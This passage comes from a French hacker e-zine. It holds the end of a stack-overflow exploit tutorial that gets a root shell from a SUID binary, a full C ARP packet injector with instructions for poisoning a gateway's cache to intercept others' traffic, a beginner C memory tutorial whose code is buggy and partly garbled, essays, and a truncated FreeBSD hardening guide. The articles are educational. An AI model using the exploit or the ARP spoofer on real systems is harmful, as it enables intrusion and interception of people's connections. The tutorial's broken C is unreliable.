execve(arg[0], arg, env);
}
Explication: En faite c'est la ligne suivante qui va calculer l'adresse du sh dans l'env:
#define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh))
Le pointeur sur tableau *env[] contient seulement le shellcode
Testons maintenant notre exploit:
icefox@evil~$ ./exploit
sh-2.05b$
Voilà ! on à chopé notre shell :)
Il reste encore un problème:
icefox@evil~$ whoami
icefox
Le programme vulnérable appartient à l'utilisateur "icefox" (moi quoi:>) donc nous avons les
droits de cet utilisateur seulement. Simulons un programme vulnérable ayant les droits
SUID:
root@evil~# chown root.root stack
root@evil~# chmod +s stack
icefox@evil~$ ./exploit
sh-2.05b# whoami
root
Oh yeah ;)
[ Conclusion ]
On a réussi à exploiter ce stack overflow sans avoir à calculer l'adresse de retour, qui
n'aurait pas été l'adresse exacte, alors que là, du premier coup on tombe sur le shellcode
sans avoir à se préoccuper d'un grand nombre de NOP (c'est pourquoi on voit souvent des
"nops sux" :> ) Je tiens à préciser quelques points:
- avec les nouvelles versions de gcc, un padding a été ajouté pour "retarder" les
Bofs. En faite dans ce papers les démonstrations ont été faites avec les valeurs
théoriques. Sur ma box, avec un buffer de 6 octets, l'overflow se produisait
qu'à partir de 28 octets environ :) Ce padding met au point aussi une sécuritée
anti off-by-one.
- Finalement, je précise clairement que vous ne trouverez jamais ce genre de
failles. En effet ces failles ne sont plus du tout répandues et ont toutes été
quasiment exploitées et corrigées. Mais n'ayez raintes vous n'avez pas perdu de
temps: comprendre ce principe c'est comprendre l'exploitation complète sous toutes
ses formes. (off-by-one, etc..) Vous pouvez vous pencher sur des failles plus
"à la mode " comme les Ret Into Libc, les Ret Into PLT etc...
Icefox [www.artkod.info]
[x] Spécial greets to Nelio pour la relecture et Nocte pour ce qu'il m'enseigne.
Bibliographie:
[1] Exploitation avancée des stack overflow - Nostrobo
[2] Programmer un IDS contrant les shellcodes polymorphiques - Nocte
[3] Smashing the stack for fun & profit - Aleph1
[4] Nop Sux ... Buffer overflow & shellcode sans Nops - Seb-Sb
topic
_________________________________________________________
|
Entre-Articles Smash3r |
_________________________________________________________|
| / / |
| / / |
| / / |
| / / |
|/ / |
| / &
| / &
| / / \
|/ [ LA NORME ]
| (a.k.a.: Mouton noir, mouton quand même)
|
| Le changement fait peur. Nous avons peur de ce qui est différent. plutôt que
| d'essayer de comprendre, on rejette. C'est beaucoup plus facile. On essaie
| d'atteindre un idéal, d'avoir une belle image, de bien paraitre. Si notre
| opinion diffère de la majorité, on essaie de 'y conformer pour éviter
| d'être différent. On rit de ce qu'on ne comprend pas, on le rejette en le
| tournant au ridicule, plutôt que d'y faire face et d'essayer de comprendre.
| On cède alors à la facilité. Mais au fond de nous-mêmes, nous savons que nous
| sommes différents les uns des autres... À force de se conformer à la norme,
| on finit par devenir normal, ce qui est rassurant. Mais cette opinion que
| nous exprimons est-elle réellement la nôtre ou sagit-il de celle de la
| majorité, à laquelle nous tentons de nous conformer pour être normal?
| À force de vouloir être normal, n'avez-vous pas l'impression de vous
| éloigner de vous-même? Nous avons peur de dévoiler notre opinion aux
| autres lorsqu'elle est différente, parce que nous savons qu'elle sera
| tourné au ridicule. Nous avons peur d'être différent, mais pourtant, nous
| sommes déjà tous différents. Peut-être êtes-vous même en train de tourner
| mes propos en ridicule puisque mon opinion diffère du vôtre? Si c'est le
| cas, vous cédez encore une fois à la facilité...
|
| Qu'est-ce que la norme? Être normal? Mais alors, qu'est-ce qu'être normal
| Quand vous regardez une foule, n'est-ce pas celui ou celle qui semble
| différent que vous remarquez? Quand vous tombez amoureux, est-ce pas parce
| que la personne que vous aimez est différente des autres, qu'elle a
| quelque chose de spécial, qu'elle vous attire? Nous essayons de ressembler
____| aux autres, mais nous nous plaisons pourtant à contempler ce qui déteint de
la majorité... Ce qui est intéressant, ce qui attire notre attention est
ce qui est anormal, ce qui sort de l'ordinaire. Mais ce qui est anormal
nous fait peur et plutôt que de faire l'effort de comprendre, on le fuit,
en le rejetant. À force de se conformer à la norme, on finit par ne plus
être nous-mêmes... Mais peut-être devrions-nous constater qu'il est
anormal d'être normal?
- Smash3r
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O8 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Arp injector ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Ivanlef0u [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
--------[ Intro
Hello World, et voici encore un article sorti tout droit de la tête de
l'horrible Ivanlef0u. Aujourd'hui le sujet du jour consiste a coder un tool
nous permettant de forger des packets ARP (Gruut??), le protocole ARP(Address
Resolution Protocol) permet tout simplement de convertir une adresse IP en
adresse mac. C'est un protocole qui se situe dans la couche 3 du modele OSI
(réseau) juste en dessous on a généralement de l'ethernet (couche liaison).
Voici un header arp:
Arp Header format
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Hardware type | Protocol type |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Hard addr len | Proto addr len | Opcode |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source hardware address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source protocol address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination hardware address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination protocol address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Hardware type: 16 bits
1 pour ethernet.
Protocol type: 16 bits
0x800 pour IP.
Hardware address length: 8 bits
Nous on met 6.
Protocol address length: 8 bits
4 pour nous.
Opcode: 16 bits
Cool un truk intéressant, cela détermine a quoi va servir notre packet:
|Value | Description
+---------------------
|1 | Request
+---------------------
|2 | Reply
+---------------------
|3 | Request Reverse
+---------------------
.
.
Je ne mets pas le reste, ça n'a pas d'interet ici.
Alors, lorsque vous voulez vous connect a un pc de votre réseau, il faut que
votre pc connaisse l'adresse mac de celui-ci. Voici une trame capturée par
Ethereal, on peut y voir l'entête Ethernet et ARP. (Ethernet n'est que sur les
14 premiers octets)
[broadcoast mac ] [ mon mac ] [arp]{[eth]
0000 ff ff ff ff ff ff 00 0f 66 c6 ae 09 08 06 00 01 ........f.......
[ip ] [req ] [ mon mac ] [ mon ip ]
0010 08 00 06 04 00 01 00 0f 66 c6 ae 09 c0 a8 00 f2 ........f.......
[ dest mac ] [ son ip ]}
0020 00 00 00 00 00 00 c0 a8 00 5a .........Z
Voici le prob, mon Pc a l'IP 192.168.0.242 (c0 a8 00 f2) et la
mac 00:0F:66:C6:AE:09 (cisco pour ceux qui sont curieux) et il veut savoir la
mac du pc qui a comme ip 192.168.0.90 (c0 a8 00 5a) il envoie donc un ARP avec
l'opcode Request a tout le réseau FF:FF:FF:FF:FF:FF et le pc concerne doit
normalement lui réponde par un arp avec l'opcode reply contenant son mac.
En fait, ce que font les OS de nos jours, au lieu de demander a chaque fois
quelle est l'adresse mac du destinaire ils mettent en place un cache contenant
les mac des pc contactes. Sous windows pour voir cette table tapez dans un shell
arp -a
--------[ L'attaque des clones
+--------------+
| Robert | -----------------------------------+
| 192.168.0.2 | |
| mac2 | |
+------+-------+ |
| |
+------+-------+ +-------------+
| Albert |-------------------------------| Passerelle |---------WEB
| 192.168.0.3 | | 192.168.0.1 |
| mac3 | | mac1 |
+------+-------+ +-------------+
| |
| |
+------+-------+ |
| Hacker |------------------------------------+
| 192.168.0.4 |
| mac4 |
+--------------+
Voici le schéma, Robert, Albert et Hacker utilisent une passerelle pour se
connecter au web, un NAT tout classique comme il en existe partout. Ils ont donc
tous dans leur cache arp, la mac de la passerelle et celle de leurs confrères.
Ban imaginons que Albert et Robert croient que l'adresse mac de la passerelle
est celle de Hacker ! tout les packets qui sont destines a la passerelle seront
déroute sur Hacker qui pourra s’il est malin créer un NAT pour reroute les
packets sur la passerelle et s’il veut injecter ds données dans celles-ci, bref
prendre le contrôle des connexions de Robert et Albert.
--------[ 1F Y0U C4N R34D 7H15 7H3N Y0U N33D 70 637 0U7
Alors déjà pour commencer j'ai whine. Aucun librairie documentée de windows ne
supporte le protocole ARP, la lib winsock ne peut pas aller plus bas que la
couche IP, comme nous avons aussi besoin de forger la couche 2, ethernet, je me
suis donc rabattu sur la WinPcap librairie de capture réseau notammentutilisee
parEthereal. Il nous faut donc le kit de développement de Pcap dispo ici:
http://www.winpcap.org/install/bin/WpdPack_3_1.zip
Ensuite comme j'utilise MsVC++ 6.0 il faut le configurer afin qu'il prenne
en compte cette new lib alors chez moi je fais:
Tools->Options->Directories
Dans Include files je met ou se trouve \WpdPack\Include et dans Librairie files
je mets ou est WpdPack\Lib
Apres je vais dans Project->Settings->C/C++ dans Preprocessor
définitions j'ajoute
WPCAP et dans Project Options je rajoute /D "HAVE_REMOTE" (ça, je sais pas trop
pkoi d'ailleurs) Enfin je vais dans l'onglet Link et je fous wpcap.lib avec les
autres. Voila norm le compilo et le linker sont bons, reste plus qu'a coder. Si
ça ne marche pas chez vous, regardez le projet sur mon site.
La WinPcap n'est pas une librairie difficile, on va juste ouvrir une interface,
la bonne de préférence, nous mettre en mode PROMISCUOUS dessus, forger le packet
et l'envoyer, tout est documente en plus de façon claire alors je ne m'attarde
pas dessus.
#include <stdio.h>
#include <pcap.h>
#include <windows.h>
u_char * str2hex(char * str);
pcap_if_t *ifselector(int inum);
void showhelp();
struct ETH_HDR{
u_char dst[6];
u_char src[6];
u_short type;
};
struct ARP_HDR {
u_short hard;
u_short proto;
u_char hard_len;
u_char proto_len;
u_short opcode;
u_char hard_addr_src[6];
u_int proto_addr_src;
u_char hard_addr_dst[6];
u_int proto_addr_dst;
};
char errbuf[PCAP_ERRBUF_SIZE];
pcap_if_t *alldevs;
u_char buff[7]="";
int main(int argc, char *argv[])
{
struct ETH_HDR eth;
struct ARP_HDR arp;
if(argc==1)
{
showhelp();
return 0;
}
if (argv[1][0]=='l')
{
ifselector(0);
return 0;
}
if(atoi(argv[1])<=0 || atoi(argv[1])>255 || inet_addr(argv[2])==INADDR_NONE ||
strlen(argv[3])!=17 || inet_addr(argv[4])==INADDR_NONE
|| strlen(argv[5])!=17 || atoi(argv[6])<0 || (u_short)atoi(argv[6])>4096 ||
atoi(argv[7])<0 || (u_int)atoi(argv[7])>65535)
{
showhelp();
return -1;
}
pcap_t *adhandle=NULL;
if((adhandle= pcap_open(ifselector(atoi(argv[1]))->name,
65536,
PCAP_OPENFLAG_PROMISCUOUS,
1000,
NULL,
errbuf
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by
WinPcap\n", ifselector(atoi(argv[1]))->name);
pcap_freealldevs(alldevs);
return -1;
}
memset(ð,0,sizeof(ETH_HDR));
eth.type=htons(0x0806); //Type code Arp
memcpy(ð.dst,str2hex(argv[3]),6);
memcpy(ð.src,str2hex(argv[5]),6);
memset(&arp,0,sizeof(ARP_HDR));
arp.hard=htons(1);
arp.proto=htons(0x800);
arp.hard_len=6;
arp.proto_len=4;
arp.opcode=htons(atoi(argv[6]));
memcpy(&arp.hard_addr_dst,str2hex(argv[3]),6);
memcpy(&arp.hard_addr_src,str2hex(argv[5]),6);
arp.proto_addr_src=inet_addr(argv[4]);
arp.proto_addr_dst=inet_addr(argv[2]);
u_char packet[sizeof(ETH_HDR)+sizeof(ARP_HDR)];
memset(packet,0,sizeof(packet));
memcpy(packet,ð,sizeof(ETH_HDR));
memcpy(packet+sizeof(ETH_HDR),&arp,sizeof(ARP_HDR));
for (int i=0;i<atoi(argv[7]);i++)
{
printf("packet: %d sent\n",i);
if (pcap_sendpacket(adhandle,packet, sizeof(packet)) != 0)
{
fprintf(stderr,"\nError sending the packet: \n",
pcap_geterr(adhandle));
return -1;
}
}
pcap_freealldevs(alldevs);
return 0;
}
u_char * str2hex(char * str)
{
for (int i=0;i<17;i+=3)
{
char * ptr=str+i+1; //put1 de strtol
buff[i/3]=(u_char)strtol(str+i,&ptr,16);
}
return (u_char *)buff;
}
void showhelp()
{
printf("Arp packet injector by Ivanlef0u\n");
printf("Usage is: arp_inj <interface number> <dst_ip> <dst_mac> <src_ip>
<src_mac> <opcode> <number of packets>\n");
printf("Use arp_inj l to list interfaces\n");
printf("Exemple:arp_inj 3 192.168.0.255 ff:ff:ff:ff:ff 192.168.0.1
aa:bb:cc:dd:ee:ff 2 10 \n");
}
pcap_if_t * ifselector(int inum)
{
pcap_if_t *d=NULL;
int i=0;
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(-1);
}
for(d=alldevs; d; d=d->next)
{
i++;
if(inum ==0)
{
printf("%d. %s",i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
exit(-1);
}
if(inum>=1 && inum<=i)
{
for(d=alldevs, i=0; i< inum-1;d=d->next, i++);
return d;
}
return NULL;
}
Alors pour utiliser c'est pas trop dur
arp_inj <interface number> <dst_ip> <dst_mac> <src_ip> <src_mac>
<opcode> <number of packets>
Donc si Hacker veut faire croire a Robert que la passerelle a son mac il fait:
arp_inj <son_interface> 192.168.0.2 <mac2> 192.168.0.1 <mac4> 2 10
Ainsi Hacker va envoyer des packets arp avec l'opcode Reply faisant
croire que 192.168.0.1 a la mac de Hacker, youplaboom!
Ha vi pour voir vos interfaces faites: arp_inj l
--------[ Conclusion
Vous avez pu voir que forger des packets avec la WinPcap n'était pas
si, difficile que ça et qu’on peut en faire un usage très pratique. Il existe
de nombreuses techniques de détournement utilisant un forgeur de packet arp,
voulant comprendre comment cela marchait j'ai décidé de coday un tool, même si
il n'est pas super impressionnant il marche et c'est déjà bien :]
Vous trouverez les codes et bin sur mon site dans zine/moi
Ivanlef0u
EMail:ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118
--------[ Références
http://www.security-labs.org/index.php3?page=606
http://www.madchat.org/reseau/arp/
topic
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O9 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Utilisation de l'espace mem en c ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Kitoy [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
#include
#include
#include
/* Un mec je sais plus qui, a un jour inventé l'algorithme de l'ajout de 1 ou 1 unité et c'est
la raison pour laquelle le srckitoy1 vint le srckitoy2 eh oui c'est comme le mot connerie
dont mon intro à la con répond a sa définition.
* Bon alors on va parler de quoi dans ce cour? Eh bien c'est une bonne question. On va parler
des allocations mémoires.
* --- --- --- --- --- ---
* Alors premièrement pourquoi avons-nous besoin de mettre des données en mémoire. Tout
simplement car vous sortez d'une fonction le programme détruit toutes les variables qui ont
était créé a l'intérieur vous me direz oui, mais avec la fonction return on peut garder le
résultat et je vous poserai la question suivante Eh on veut sauvegarder plusieurs variables de
type différent? Bah voila pourquoi on a besoin de mettre des données en mémoires pour
sauvegarder plusieurs variables de types différentes ou non.il faut savoir aussi que le langage C
est un langage dit bas niveau c'est-à-dire que ce langage est dit près du langage machine.
Ce qui fait nous contrôlons le type de variables, les blocs qu'on alloue dans la mémoire
contrairement aux langages dits haut niveau qui font ça automatiquement. Donc, voila comment
ça se passe brièvement dans notre programme quand nous appelons notre fonction: Il crée les
variables qu'on indente et les met dans la pile du programme, le programme exécute les
instructions qui composent la fonction appelée et ensuite detruit complètement les variables
crée, et donc notre mission dans ce cour sera d'allez les sauver et de leur trouver un refuge
(dans la mémoire) eh ouais c'est comme les inondations la vers chez on va chercher les gens qui
sont dans l'eau et on les stocke dans des maisons ou des établissements bah la on va faire
pareille ;).
* */
typedef struct victimes_s{
int age_vict;
char nom_vict[16];
int f_ou_m;
}victimes_t;
/* Bon alors ici je créer un type de variable c'est a dire par exemple un int vous la variable
pour les chifres ;). Eh ben la c'est pareil sauf que mon type de variables peut contenir des
chiffres et des lettres, mais non pas l'émission rhaaaa :D.
* */
victimes_t *gen_victimes(int nbr){
victimes_t *vict[nbr]; // Bon ici on créer un tableau de une case ou une liste de victimes.
char *nom[5];
int nbr_name, age, mf;
nom[0] = "robert";
nom[1] = "bernard";
nom[2] = "loulou";
nom[3] = "cosette";
nom[4] = "abdel aziz";
nom[5] = "fatima";
/* Bon au-dessus bien je créer une liste de chaines de caractère qui contiendra les noms qui
seront pris au hasard*/
vict[nbr] = malloc(sizeof(victimes_t));
/* Ici on construit l'abri de la victime c'est qu'on
lui donne un espace pour s'installer, en langage informatique :
on créer de un espace dans la mémoire = a la taille de notre variable . Par exemple si on
aurait mis malloc(sizeof(int)); on aurait occuper 16bits de plus en mémoire sois 2 octects
car 1 octect = 8bits. */
age = 7+(int) (70.0*rand()/(RAND_MAX+1.0)); //Cette fonction nous gen�es un nombre au hasard
//entre 7 et 77
vict[nbr]->age_vict = age;
nbr_name = 0+(int) (6.0*rand()/(RAND_MAX+1.0));// m�e chose ici avec une intervalle de 0 a 6
strcpy(vict[nbr]->nom_vict, nom[nbr_name]);
if(nom[nbr_name] == "loulou" || nom[nbr_name] == "cosette" || nom[nbr_name] == "fatima")
{
mf = 1;
}
else{
mf = 0;
}
/* La fonction ci-dessus teste si le prénom est un prénom de femme ou un prénom d'homme et
indente mf de 1 si c'est une femme et de 0 si c'est un homme eh oui si on avait pris la
fonction rand on serait retrouver avec une femme robert ou abdel aziz :s */
vict[nbr]->f_ou_m = mf;
return vict[nbr];
}
int main(){
int nbr, i;
victimes_t *vict[nbr];
printf("Bonjours je suis dieu et mon seul pouvoir est de faire des victimes dans le monde. \n
dis moi combien veux-tu de victimes? \n :");
scanf("%d", &nbr);
for(i=0; inom_vict);
printf("AGE: %d \n", vict[i]->age_vict);
if( vict[i]->f_ou_m == 1){
printf("SEXE: femme \n");
}
else{
printf("SEXE: homme \n");
}
free(vict[i]);
/* Qpres avoir utiliser l'espace mémoire on le libère pour faire les choses proprement vous
savez quand votre mère vous dit "Tu pourrai lever ta table " Ben la c'est pareil il faut
débarrasser la mémoire bon ... l'ordis il est comme votre mère si vous ne débarrassez votre table
a la sortie du programme l'ordinateur le fera comme votre mère quand vous sortez de la cuisine ;)
MAIS C'EST PAS UNE RAISON POUR NE PAS LE FAIRE !!!! */
}
return 0;
}
/* Bon voila c'est tout je sais que mes sources sont très très courtes, mais bon comme ils
s'adressent a des débutants c'est mieu de faire une chose à la fois sinon ils s'embrouillent très
vite voila en espérant que cette source vous aidera je vous souhaite a tous une bonne continuation
dans le codaz et je vous donne rendez-vous pour le 3eme numero qui traitera normalement sur le
réseau */
//Source sous license GPL Bien que... on risque pas de pomper dessus ;)
Écrit par Kitoy
__ __ __ _____
/ / / /___ ______/ /_|__ / _____ _____
/ /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
/ __ / /_/ / /__/ ,< ___/ / |/ / __/ /
/_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed.
topic
_________________________________________________________
|
Entre-Articles Wyzeman |
_________________________________________________________|
| / / |
| / / |
| / / |
| / / |
|/ / |
| / &
| / &
| / / \
|/ [ Les Vulgaires Ordis, Buffer sans fond ]
|
| J’ veux rien savoir d’ la qualité, j’ veux qu’ y ’ ait beaucoup de pages
| J’ collectionne les cahiers qui me parlent de rootage
| J’ me gave sans fin des zarticles divers jusqu’ à l’indigestion
| Je suis mal informé, les ezine ont bien raison
| Je suis comme un buffer sans fond
| Je suis comme un buffer sans fond
| c’est devenu dramatique ; j’ sais pu c’ qui faut que j’ fasse
| Je sais tout sur Neda et sa vie avec Binf
| pour combler le vide de ma vision globale
| J’ai tous les arguments débile sur le système unix
| Je suis abonné au Ezine de Mindkind
| Je suis abonné au Ezine
| 20 haxors à 2 balles, lancent 20 exploits pareils
| Un homme se firewall et paquet drop internet
| Binf se fait poser une byte en métal
| Nous enregistrons une baisse dans le Q.I. général
| Je suis abonné au Ezine de Mindkind
| Je suis abonné au Ezine de Mindkind
| Je suis comme un buffer sans fond
| Je suis comme un buffer sans fond
|
|
|
|
|
____|
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\.
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ 10 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Securisation dune FreeBSD ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Oda [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
Après avoir installé un FreeBSD la grande question est à présent : comment la sécurise un peu
plus qu'elle ne l'est déjà??
I) Changement de cryptage par défaut de mot de passe utilisateur :
Par défaut FreeBSD propose le cryptage md5 pour les mots de passe. Or l'OS propose le
Blowfisg pour modifier le cryptage fait un vi /etc/login.conf et modifiez ceci :
:passwd_format=md5:\
par
:passwd_format=blf:\
Voila a present pour que les modifs soient prises en compte faites :
cap_mkdb /etc/login.conf
À présent il faut préciser a la commande adduser que l'on a modifié de cryptage pour cela
ajouter la ligne suivante dans /etc/auth.conf :
crypt_default = blf
Maintenant il n'y a plus qu'a modifier vos mots de passe via passwd pour que le nouveau cryptage
soit pris en compte.
II) Niveau de sécurité du noyau :
II-1) Characteristique chflags :
Il est possibles sous freeBSD d'interdire certaines actions sur des fichiers mêmes à root. Cela
peut s'avérer utiles par exemple dans le cas ou les fichiers de log ne peuvent être supprimer,
dans ce cas sur une machine compromise le hacker devenu root ne pourra supprimer ces traces...
Il existe differents degre de protection :
arch : le fichier devient une archive
sappend : on ne peut que rajouter des donnes a un fichier plus en retire (cas de mon
exemple pour les log)
schg : empêche la suppression + changement de droits sur le fichier
sunlnk : empêche la suppression du fichier
Pour modifier un attribut il suffit de faire :
chflags sappend /var/log/*.log
Pour retirer un attribut :
chflags nosappend /var/log/*.log
II-2) Niveau de sécurité :
Sous FreeBSD il existe plusieurs niveaux de sécurité kernel :
niveau -1 : valeur par default
niveau 0 : les files chflags du type schg et sappend peuvent être retirés
niveau 1 : les files chflags du type schg et sappend ne peuvent pas être retirés
/dev/mem et /dev/kmem est interdit en ecriture
impossible de charger des modules kernels
niveau 2 : idem que niveau 1 avec en plus que seul le montage et démontage des disques
sont permit
niveau 3 : idem a 2
impossible de modifier les règles du pare-feu
Pour choisir un niveau de sécurité ajouter une ligne de ce type dans le fichier
/etc/rc.conf
kern_securelevel_enable="YES"
kern_securelevel="X"
Ou X est un des chiffres ci-dessus.
Pour modifier un secoure level a chaud il suffit de faire sysctl kern.securelevel=X
Toujours avec X un des chiffres du dessus.
II-3) Etude de cas :
Pour ceux qui n'aurait pas bien saisi le but de ces options voici un exemple concret :
Sur la machine je fait un chflags sappend /var/log/*.log ce qui rend les logs
indestructibles, si je laisse le kernel par default en niveau -1, un utilisateur devenu root
pourra retire la protection par contre en secure level a 1 ou plus même root ne pourra retirer
ces arguments et donc ne pourra pas effacer ces traces.
III) Sysctl :
Sysctl permet de modifier les comportements du système, un sysctl -a vous liste tout ce qui
peut être modifié :
Voici quelques exemples bien pratiques :
- security.bsd.see_other_uids : si la valeur est a 0 les utilisateurs ne verront que leur
propre precessus lors d'un ps et pas ceux de root ou des autres utilisateur.
- net.inet.udp.log_in_vain : si la valeur est a 1, dans /var/log/message apparaitra les
